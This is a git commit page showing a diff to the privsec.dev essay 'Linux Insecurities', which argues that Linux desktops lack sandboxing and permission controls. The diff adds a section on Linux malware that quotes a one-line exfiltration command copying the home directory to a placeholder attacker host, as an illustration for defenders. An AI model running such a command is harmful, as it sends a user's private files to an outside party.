PrivSec-dev/privsec.dev
1
0
Fork 0
mirror of https://github.com/PrivSec-dev/privsec.dev synced 2024-11-18 20:41:33 -05:00
Code

But there is less malware on Linux!

Browse Source 
Signed-off-by: tommytran732 <contact@tommytran.io>
This commit is contained in:
tommytran732 2022-08-16 00:05:18 -04:00
parent 50e001b8b7
commit 493fcd5c96
No known key found for this signature in database
GPG Key ID: 060B29EB996BD9F2
1 changed files with 14 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
content/os/Linux Insecurities.md
View File

@ -1,6 +1,6 @@
--- ---
title: "Linux Insecurities" title: "Linux Insecurities"
date: 2022-07-18 date: 2022-08-15
tags: ['Operating Systems', 'Linux', 'Security',] tags: ['Operating Systems', 'Linux', 'Security',]
author: Tommy author: Tommy
--- ---
@ -35,7 +35,7 @@ On Linux, there is no such clear distinction between the system and user install
Operating systems like Android and ChromeOS have full system mandatory access control, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs. Operating systems like Android and ChromeOS have full system mandatory access control, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.
Even on macOS, where the application sandbox is opt-in for developers, there is still a system wide permission control for unprivileged application. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on. Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged application. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.
On Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don't even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible. On Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don't even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible.
@ -44,3 +44,15 @@ This is reflected in the under utilization of the [Portals API](https://docs.fla
To make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment. To make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment.
The only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system. The only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system.
## But Linux is open source!
Something being open source does not imply that it is inherently private, secure, or trustworthy. I recommend reading the [FLOSS Security](/knowledge/floss-security) post by [Rohan Kumar](https://seirdy.one/posts/2022/02/02/floss-security/).
## But there is less malware on Linux!
**Secuity by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer.
Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targetted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.